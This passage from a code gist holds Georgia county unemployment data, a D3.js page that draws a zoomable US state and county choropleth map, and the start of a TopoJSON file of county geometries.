13,037,&quot;Calhoun County, GA&quot;,0.061
13,039,&quot;Camden County, GA&quot;,0.055
13,043,&quot;Candler County, GA&quot;,0.056
13,045,&quot;Carroll County, GA&quot;,0.066
13,047,&quot;Catoosa County, GA&quot;,0.051
13,049,&quot;Charlton County, GA&quot;,0.062
13,051,&quot;Chatham County, GA&quot;,0.057
13,053,&quot;Chattahoochee County, GA&quot;,0.088
13,055,&quot;Chattooga County, GA&quot;,0.062
13,057,&quot;Cherokee County, GA&quot;,0.046
13,059,&quot;Clarke County, GA&quot;,0.059
13,061,&quot;Clay County, GA&quot;,0.113
13,063,&quot;Clayton County, GA&quot;,0.075
13,065,&quot;Clinch County, GA&quot;,0.068
13,067,&quot;Cobb County, GA&quot;,0.05
13,069,&quot;Coffee County, GA&quot;,0.066
13,071,&quot;Colquitt County, GA&quot;,0.064
13,073,&quot;Columbia County, GA&quot;,0.05
13,075,&quot;Cook County, GA&quot;,0.066
13,077,&quot;Coweta County, GA&quot;,0.052
13,079,&quot;Crawford County, GA&quot;,0.061
13,081,&quot;Crisp County, GA&quot;,0.069
13,083,&quot;Dade County, GA&quot;,0.054
13,085,&quot;Dawson County, GA&quot;,0.05
13,087,&quot;Decatur County, GA&quot;,0.067
13,089,&quot;DeKalb County, GA&quot;,0.059
13,091,&quot;Dodge County, GA&quot;,0.083
13,093,&quot;Dooly County, GA&quot;,0.075
13,095,&quot;Dougherty County, GA&quot;,0.077
13,097,&quot;Douglas County, GA&quot;,0.062
13,099,&quot;Early County, GA&quot;,0.068
13,101,&quot;Echols County, GA&quot;,0.047
13,103,&quot;Effingham County, GA&quot;,0.05
13,105,&quot;Elbert County, GA&quot;,0.074
13,107,&quot;Emanuel County, GA&quot;,0.085
13,109,&quot;Evans County, GA&quot;,0.055
13,111,&quot;Fannin County, GA&quot;,0.06
13,113,&quot;Fayette County, GA&quot;,0.051
13,115,&quot;Floyd County, GA&quot;,0.066
13,117,&quot;Forsyth County, GA&quot;,0.044
13,119,&quot;Franklin County, GA&quot;,0.063
13,121,&quot;Fulton County, GA&quot;,0.058
13,123,&quot;Gilmer County, GA&quot;,0.058
13,125,&quot;Glascock County, GA&quot;,0.066
13,127,&quot;Glynn County, GA&quot;,0.06
13,129,&quot;Gordon County, GA&quot;,0.057
13,131,&quot;Grady County, GA&quot;,0.06
13,133,&quot;Greene County, GA&quot;,0.07
13,135,&quot;Gwinnett County, GA&quot;,0.051
13,137,&quot;Habersham County, GA&quot;,0.056
13,139,&quot;Hall County, GA&quot;,0.047
13,141,&quot;Hancock County, GA&quot;,0.1
13,143,&quot;Haralson Cou</code></pre><p><em>Truncated — <a href="https://gist.github.com/1f1955af07b8a6b8280fa6a86b3bf033">view the full gist</a>.</em></p>
<h3>index.html</h3><pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;meta charset=&quot;utf-8&quot;&gt;
&lt;style&gt;
body { background: transparent; }
path { stroke: #333; stroke-width: 1; }
path:hover { stroke-width: 3; }
  #console {
    font-size: 11px;
    font-family: &quot;Courier&quot;, &quot;fixed-width&quot;;
    width: 400px;
    height: 150px;
    position: fixed;
    top: 0;
		left: 0;
    padding: 4px;
    overflow: auto;
    background-color: white;
    border: 2px solid black;
  }
  #console p {
    margin-top: 1px;
    margin-bottom: 0
  }
  svg {
    border: 5px solid red;
  }
&lt;/style&gt;
&lt;body&gt;
&lt;script src=&quot;//cdnjs.cloudflare.com/ajax/libs/d3/3.5.17/d3.min.js&quot;&gt;&lt;/script&gt;
&lt;!-- &lt;script src=&quot;http://d3js.org/queue.v1.min.js&quot;&gt;&lt;/script&gt; --&gt;

&lt;script src=&quot;//d3js.org/topojson.v1.min.js&quot;&gt;&lt;/script&gt;
  
  &lt;div id=&quot;console&quot;&gt;&lt;/div&gt;
  
&lt;svg id=&quot;zoomy-map&quot; width=&quot;400&quot; height=&quot;300&quot;&gt;&lt;/svg&gt;
  
&lt;script&gt;
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;v0.1&apos;)
var width = 960
var height = 600
var padding = 20

var allData = []

var color = d3.scale.threshold()
    .domain([0.028, 0.038, 0.048, 0.058, 0.068, 0.078])
    .range([&apos;#4d9221&apos;, &apos;#a1d76a&apos;, &apos;#e6f5d0&apos;, &apos;#f7f7f7&apos;, &apos;#fde0ef&apos;, &apos;#e9a3c9&apos;, &apos;#c51b7d&apos;])

var projection = d3.geo.albers()
    .precision(0)
    .scale(height * 2).translate([width / 2, height / 2])

var path = d3.geo.path().projection(projection)

var svg = d3.select(&apos;#zoomy-map&apos;)
    //.append(&apos;svg&apos;)
    .attr(&apos;width&apos;, width)
    .attr(&apos;height&apos;, height)

  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;width &apos;+width)
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;height &apos;+height)


/*
queue()
    .defer(d3.csv, &apos;data.csv&apos;, function (d) {
        return {
            id: +(d.state + d.county),
            state: d.state,
            county: d.county,
            unemployment: +d.unemployment
        }
    })
    .defer(d3.json, &apos;us-states.json&apos;)
    .defer(d3.json, &apos;us-counties.json&apos;)
    .awaitAll(initialize)
*/

d3.csv(&apos;data.csv&apos;, function(error, data){
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;data.csv loaded&apos;)
  allData.push(data)
 
  
  d3.json(&apos;us-states.json&apos;, function(error, data){
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-states.json loaded&apos;)
    allData.push(data)
    
    d3.json(&apos;us-counties.json&apos;, function(error, data){
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-counties.json loaded&apos;)
      
      allData.push(data)
      allData[0].forEach(function(d,i){
        if(i&lt;10){ console.log(&apos;foreach d&apos;, d)}
        allData[0][i] = {
        &apos;id&apos;: +(d.state + d.county),
         &apos;county&apos;: d.county,
        &apos;state&apos;: d.state,
        &apos;unemployment&apos;: +d.unemployment
        }
      })
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[0] length: &apos;+allData[0].length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[1] length: &apos;+allData[1].arcs.length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[2] length: &apos;+allData[2].arcs.length)
      
      console.log(&apos;======&gt; alldata&apos;, allData)
      initialize({},allData)
    })
  })
})

function initialize(error, results) {
    //if (error) { throw error }
  
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;running initialize()&apos;)

    var data = results[0]
    var states = topojson.feature(results[1], results[1].objects.states).features
    var counties = topojson.feature(results[2], results[2].objects.counties).features
    
    console.log(&apos;states --&gt;&apos;, states)

    states.forEach(function (f,i) {
      
      	if(i&lt;5){ 
            //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;state data &apos;+JSON.stringify(f))
          //console.log(&apos;--&gt; f &apos;,f, &apos;f.id&apos;, f.id)
          //console.log(&apos;--&gt; data find&apos;, data.find(function (d,i) {
            //if(i&lt;10){ console.log(&apos;--&gt; find d&apos;, d)}
            //return d.id === f.id
          //}))    
        }
        f.properties = data.find(function (d) { return d.id === f.id })
    })
    
    console.log(&apos;states after foreach ==&gt;&apos;, states)

    counties.forEach(function (f) {
        f.properties = data.find(function (d) { return d.id === f.id }) || {}
    })

    var statePaths = svg.selectAll(&apos;.state&apos;)
        .data(states)
        .enter().append(&apos;path&apos;)
        .attr(&apos;class&apos;, &apos;state&apos;)
        .attr(&apos;d&apos;, path)
        .style(&apos;fill&apos;, function (d) { 
          //console.log(d)
          return color(d.properties.unemployment) 
        })
        .on(&apos;click&apos;, function (d) { stateZoom(d.id) })

    function usZoom() {
      	alert(&quot;US Zoom&quot;);
        var t = d3.transition().duration(800)

        projection.scale(height * 2).translate([width / 2, height / 2])

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })

        svg.selectAll(&apos;.county&apos;)
            .data([])
            .exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }

    function stateZoom(id) {
				alert(&quot;State Zoom&quot;);
        var state = states.find(function (d) { return d.id === id })
        var stateCounties = counties.filter(function (d) {
            return d.id &gt; id &amp;&amp; d.id &lt; id + 1000
        })

        var t = d3.transition().duration(800)

        var countyPaths = svg.selectAll(&apos;.county&apos;)
            .data(stateCounties, function (d) { return d.id })

        var enterCountyPaths = countyPaths.enter().append(&apos;path&apos;)
            .attr(&apos;class&apos;, &apos;county&apos;)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })
            .style(&apos;opacity&apos;, 0)
            .on(&apos;click&apos;, function () { usZoom() })

        projection.fitExtent(
            [[padding, padding], [width - padding, height - padding]],
            state
        )

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, &apos;#444&apos;)

        enterCountyPaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 1)

        countyPaths.exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }
}

&lt;/script&gt;
&lt;/body&gt;
</code></pre>
<h3>us-counties.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;counties&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;bbox&quot;:[-179.1473399999999,17.67439566600018,179.7784800000003,71.38921046500008],&quot;geometries&quot;:[{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53073,&quot;arcs&quot;:[[[0,1,2]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30105,&quot;arcs&quot;:[[3,4,5,6,7,8]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30029,&quot;arcs&quot;:[[9,10,11,12,13,14,15,16,17,18]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16021,&quot;arcs&quot;:[[19,20,21,22]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30071,&quot;arcs&quot;:[[-8,23,24,25,26,27]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38079,&quot;arcs&quot;:[[28,29,30,31]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30053,&quot;arcs&quot;:[[-18,32,33,-20,34]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38009,&quot;arcs&quot;:[[-30,35,36,37,38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30035,&quot;arcs&quot;:[[39,40,-10,41]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30041,&quot;arcs&quot;:[[42,43,44,45]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30005,&quot;arcs&quot;:[[-27,46,47,-46,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30019,&quot;arcs&quot;:[[49,50,-4,51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38067,&quot;arcs&quot;:[[52,53,54,55]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27069,&quot;arcs&quot;:[[56,57,-53,58]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38095,&quot;arcs&quot;:[[59,60,61,-32,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38019,&quot;arcs&quot;:[[-55,64,65,-64,66]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53047,&quot;arcs&quot;:[[67,68,69,70,71,72,-1,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53065,&quot;arcs&quot;:[[74,75,76,77,78]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53051,&quot;arcs&quot;:[[-22,79,80,-75,81]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53019,&quot;arcs&quot;:[[-78,82,-68,83]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30051,&quot;arcs&quot;:[[84,85,86,-44,87]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38023,&quot;arcs&quot;:[[88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38013,&quot;arcs&quot;:[[92,93,94,95,-89,96]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30101,&quot;arcs&quot;:[[97,-86,98,-40]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38075,&quot;arcs&quot;:[[99,100,-93,101,-38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27135,&quot;arcs&quot;:[[102,103,-57,104,105]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30091,&quot;arcs&quot;:[[-91,106,107,-50,108]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16017,&quot;arcs&quot;:[[-34,109,110,111,112,-80,-21]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38101,&quot;arcs&quot;:[[-101,113,114,115,-94]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53055,&quot;arcs&quot;:[[[116]],[[117]],[[118]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27071,&quot;arcs&quot;:[[119,120,121,122,123]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53057,&quot;arcs&quot;:[[[124,-2,-73,125,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38105,&quot;arcs&quot;:[[-96,128,129,130,-107,-90]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38049,&quot;arcs&quot;:[[131,132,133,-114,-100,-37]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27137,&quot;arcs&quot;:[[134,135,136,137,138,139,-120,140]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30085,&quot;arcs&quot;:[[-108,-131,141,142,-5,-51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53007,&quot;arcs&quot;:[[-72,143,144,145,146,-126]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38061,&quot;arcs&quot;:[[147,148,149,-129,-95,-116]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27089,&quot;arcs&quot;:[[150,151,152,153,154,-58,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38069,&quot;arcs&quot;:[[-62,155,156,157,-132,-36,-29]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:38071,&quot;arcs&quot;:[[[158]],[[159,160,161,-60,-66]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38099,&quot;arcs&quot;:[[-54,-155,162,163,-160,-65]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27007,&quot;arcs&quot;:[[-122,164,165,166,167,168,-151,-103,169]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30073,&quot;arcs&quot;:[[-99,-85,170,171,-11,-41]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53029,&quot;arcs&quot;:[[[172,173]],[[174]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53009,&quot;arcs&quot;:[[[175,176]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38005,&quot;arcs&quot;:[[-61,-162,177,178,179,-156],[-159]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30015,&quot;arcs&quot;:[[-48,180,181,182,183,-171,-88,-43]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53061,&quot;arcs&quot;:[[[-147,184,185,-173,186,-127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30089,&quot;arcs&quot;:[[-17,187,188,189,190,-110,-33]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27075,&quot;arcs&quot;:[[191,192,-135,193]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38063,&quot;arcs&quot;:[[194,195,196,197,-178,-161,-164]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38035,&quot;arcs&quot;:[[-154,198,199,200,-195,-163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27119,&quot;arcs&quot;:[[201,202,203,204,205,206,207,-199,-153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27113,&quot;arcs&quot;:[[-169,208,-204,209,-202,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30083,&quot;arcs&quot;:[[210,211,212,213,-142]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53017,&quot;arcs&quot;:[[214,215,-144,-71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38053,&quot;arcs&quot;:[[-150,216,217,218,219,-211,-130]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53031,&quot;arcs&quot;:[[[220,221,222,-176,223]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30099,&quot;arcs&quot;:[[-184,224,225,-12,-172]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30055,&quot;arcs&quot;:[[-214,226,227,228,-6,-143]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16079,&quot;arcs&quot;:[[-191,229,230,231,232,233,-111]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30047,&quot;arcs&quot;:[[234,-188,-16]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53063,&quot;arcs&quot;:[[-81,-113,235,236,237,238,-76]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27029,&quot;arcs&quot;:[[239,240,241,-205,-209,-168]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16055,&quot;arcs&quot;:[[-234,242,-236,-112]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30033,&quot;arcs&quot;:[[-229,243,244,245,246,-24,-7]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27125,&quot;arcs&quot;:[[-203,-210]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53025,&quot;arcs&quot;:[[-70,247,248,249,250,251,252,-215]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53043,&quot;arcs&quot;:[[-83,-77,-239,253,254,-248,-69]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30049,&quot;arcs&quot;:[[255,256,257,258,259,-13,-226]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53035,&quot;arcs&quot;:[[[260]],[[261,262,263,264,265]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27061,&quot;arcs&quot;:[[-140,266,267,-165,-121]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38055,&quot;arcs&quot;:[[268,269,270,271,272,-148,-115,-134]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38027,&quot;arcs&quot;:[[-198,273,274,275,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38103,&quot;arcs&quot;:[[-180,-276,276,277,278,279,-157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38083,&quot;arcs&quot;:[[-158,-280,280,281,-269,-133]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38025,&quot;arcs&quot;:[[-273,282,283,284,-217,-149]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30027,&quot;arcs&quot;:[[-26,285,286,287,288,289,-181,-47]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30021,&quot;arcs&quot;:[[-213,290,291,-227]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53033,&quot;arcs&quot;:[[[292]],[[-146,293,294,295,-185]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30013,&quot;arcs&quot;:[[296,297,-256,-225,-183]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38091,&quot;arcs&quot;:[[-201,298,299,300,301,-196]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38039,&quot;arcs&quot;:[[-302,302,303,304,-274,-197]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38097,&quot;arcs&quot;:[[305,306,-299,-200,-208]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53045,&quot;arcs&quot;:[[[307,-265,308,309,310,311,-221]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30063,&quot;arcs&quot;:[[-15,312,313,314,315,316,317,-189,-235]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30077,&quot;arcs&quot;:[[-260,318,319,320,-313,-14]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30069,&quot;arcs&quot;:[[-247,321,322,-286,-25]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53037,&quot;arcs&quot;:[[-216,-253,323,-294,-145]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38031,&quot;arcs&quot;:[[-305,324,-277,-275]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38057,&quot;arcs&quot;:[[325,326,327,-283,-272]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53027,&quot;arcs&quot;:[[[-312,328,329,330,331,-222]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27087,&quot;arcs&quot;:[[332,333,-206,-242]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27107,&quot;arcs&quot;:[[-207,-334,334,335,336,-306]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30061,&quot;arcs&quot;:[[-318,337,-230,-190]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27021,&quot;arcs&quot;:[[338,339,340,341,342,343,-166,-268]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23003,&quot;arcs&quot;:[[344,345,346,347,348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30045,&quot;arcs&quot;:[[-290,349,350,-297,-182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16009,&quot;arcs&quot;:[[-233,351,352,-237,-243]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27057,&quot;arcs&quot;:[[-344,353,354,-240,-167]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53053,&quot;arcs&quot;:[[[-295,355,356,357,358]],[[-262,359]],[[-309,-264,360]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30109,&quot;arcs&quot;:[[-220,361,362,363,-291,-212]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38007,&quot;arcs&quot;:[[-285,364,365,366,-218]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38033,&quot;arcs&quot;:[[-367,367,368,-362,-219]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38043,&quot;arcs&quot;:[[369,370,371,372,-281,-279]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38093,&quot;arcs&quot;:[[-304,373,374,375,-370,-278,-325]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38015,&quot;arcs&quot;:[[-373,376,377,378,-270,-282]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38065,&quot;arcs&quot;:[[-379,379,-326,-271]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53001,&quot;arcs&quot;:[[380,381,-249,-255]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53075,&quot;arcs&quot;:[[-238,-353,382,383,384,385,386,387,-381,-254]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38003,&quot;arcs&quot;:[[-301,388,389,390,-374,-303]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38017,&quot;arcs&quot;:[[-307,-337,391,392,393,-389,-300]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53067,&quot;arcs&quot;:[[-358,394,-329,-311,395]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30079,&quot;arcs&quot;:[[-364,396,397,-244,-228,-292]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27005,&quot;arcs&quot;:[[-355,398,399,400,-335,-333,-241]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27027,&quot;arcs&quot;:[[-401,401,402,403,-392,-336]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16057,&quot;arcs&quot;:[[-232,404,405,-383,-352]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53077,&quot;arcs&quot;:[[-252,406,407,408,409,-356,-324]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30059,&quot;arcs&quot;:[[-351,410,411,412,413,414,-257,-298]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27001,&quot;arcs&quot;:[[-139,415,416,417,418,419,-339,-267]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26131,&quot;arcs&quot;:[[420,421,422,423]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38089,&quot;arcs&quot;:[[-328,424,425,426,427,-365,-284]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38059,&quot;arcs&quot;:[[-378,428,429,430,-425,-327,-380]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26013,&quot;arcs&quot;:[[431,432,433,434]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16035,&quot;arcs&quot;:[[-338,-317,435,436,437,-405,-231]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30017,&quot;arcs&quot;:[[438,439,440,441,-245,-398]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30087,&quot;arcs&quot;:[[-442,442,443,444,445,446,-322,-246]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30039,&quot;arcs&quot;:[[447,448,-314,-321]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27159,&quot;arcs&quot;:[[-343,449,450,-399,-354]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27035,&quot;arcs&quot;:[[-420,451,452,-340]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53049,&quot;arcs&quot;:[[[453,454,455,-331]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53041,&quot;arcs&quot;:[[-395,-357,-410,456,457,458,-454,-330]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30007,&quot;arcs&quot;:[[-415,459,460,-258]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27017,&quot;arcs&quot;:[[461,462,-416,-138]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26053,&quot;arcs&quot;:[[463,464,465,466,-422]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30065,&quot;arcs&quot;:[[-447,467,468,-287,-323]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26095,&quot;arcs&quot;:[[469,470,471,472,473]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30037,&quot;arcs&quot;:[[-469,474,475,476,477,-288]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30107,&quot;arcs&quot;:[[-289,-478,478,-411,-350]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53021,&quot;arcs&quot;:[[479,480,481,-250,-382,-388]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53005,&quot;arcs&quot;:[[482,483,484,485,-407,-251,-482]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27111,&quot;arcs&quot;:[[-451,486,487,488,489,-402,-400]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38037,&quot;arcs&quot;:[[490,491,492,-426,-431]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53023,&quot;arcs&quot;:[[493,494,495,-386]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30025,&quot;arcs&quot;:[[-369,496,497,498,499,-439,-397,-363]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16049,&quot;arcs&quot;:[[500,501,502,503,504,505,506,-436,-316]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30081,&quot;arcs&quot;:[[-449,507,508,509,-501,-315]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38029,&quot;arcs&quot;:[[-372,510,511,512,513,-429,-377]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38047,&quot;arcs&quot;:[[-376,514,515,-511,-371]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16069,&quot;arcs&quot;:[[-